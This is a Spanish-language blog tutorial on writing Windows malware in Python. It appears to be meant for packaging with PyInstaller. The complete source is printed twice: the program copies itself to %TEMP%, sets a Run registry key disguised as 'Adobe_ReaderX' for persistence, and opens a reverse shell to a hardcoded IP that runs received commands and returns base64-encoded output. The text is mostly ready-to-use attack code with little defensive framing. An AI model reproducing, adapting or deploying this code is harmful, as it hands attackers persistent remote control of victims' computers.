Advertisement

header ads

¿Cómo escribir un malware en Python?

Este tutorial muestra algunas pruebas de concepto para la creación de malware utilizando Python y PyInstaller.




En un tutorial anterior hemos demostrado cómo compilar una secuencia de comandos de Python como un ejecutable portable (PE) utilizando PyInstaller. Ahora vamos a demostrar alguna prueba rápida de concepto de hacer algunas acciones maliciosas en un host de Windows.
Codificación del Malware:
Una de las cosas más comunes que encontrará con malware es que desean obtener la persistencia en la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes son de modificar la clave del Registro siguiente: “Software\Microsoft\Windows\CurrentVersion\Run”. A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio %TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:
    import sys, base64, os, socket, subprocess
    from _winreg import *
    def autorun(tempdir, fileName, run):
    # Copy executable to %TEMP%:
        os.system('copy %s %s'%(fileName, tempdir))
    # Queries Windows registry for key values
    # Appends autorun key to runkey array
        key = OpenKey(HKEY_LOCAL_MACHINE, run)
        runkey =[]
        try:
            i = 0
            while True:
                subkey = EnumValue(key, i)
                runkey.append(subkey[0])
                i += 1
        except WindowsError:
            pass
    # Set autorun key:
        if 'Adobe ReaderX' not in runkey:
            try:
                key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
                SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
                key.Close()
            except WindowsError:
                pass
Ahora que hemos copiado el archivo sobre el directorio% TEMP%, y la persistencia de configuración podemos ejecutar la siguiente parte del código, el shell inversa. Yo apalancadas un shell inversa Python publicado por TrustedSec e hice una modificación – Base64 codifica el tráfico de la red:
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()
Ahora cuando este programa lo ejecuta se abrirá un shell inversa de nuevo a la “atacante”, que en este caso es una IP codificado en el guión, pero podría ser fácilmente de dominio, o tal vez algo en la nube de Amazon. A continuación se muestra una captura de pantalla rápido demostrando el programa se ejecuta en un host de Windows y conectar de nuevo al atacante. Usted puede notar la red de tráfico está codificado en base64:
Aquí está el código completo:
    import sys, base64, os, socket, subprocess
    from _winreg import *
    def autorun(tempdir, fileName, run):
    # Copy executable to %TEMP%:
        os.system('copy %s %s'%(fileName, tempdir))
    # Queries Windows registry for the autorun key value
    # Stores the key values in runkey array
        key = OpenKey(HKEY_LOCAL_MACHINE, run)
        runkey =[]
        try:
            i = 0
            while True:
                subkey = EnumValue(key, i)
                runkey.append(subkey[0])
                i += 1
        except WindowsError:
            pass
    # If the autorun key "Adobe ReaderX" isn't set this will set the key:
        if 'Adobe ReaderX' not in runkey:
            try:
                key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
                SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
                key.Close()
            except WindowsError:
                pass
    def shell():
    #Base64 encoded reverse shell
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.56.1', int(443)))
        s.send('[*] Connection Established!')
        while 1:
            data = s.recv(1024)
            if data == "quit": break
            proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            stdout_value = proc.stdout.read() + proc.stderr.read()
            encoded = base64.b64encode(stdout_value)
            s.send(encoded)
            #s.send(stdout_value)
        s.close()
    def main():
        tempdir = '%TEMP%'
        fileName = sys.argv[0]
        run = "Software\Microsoft\Windows\CurrentVersion\Run"
        autorun(tempdir, fileName, run)
        shell()
    if __name__ == "__main__":
            main()

Publicar un comentario

0 Comentarios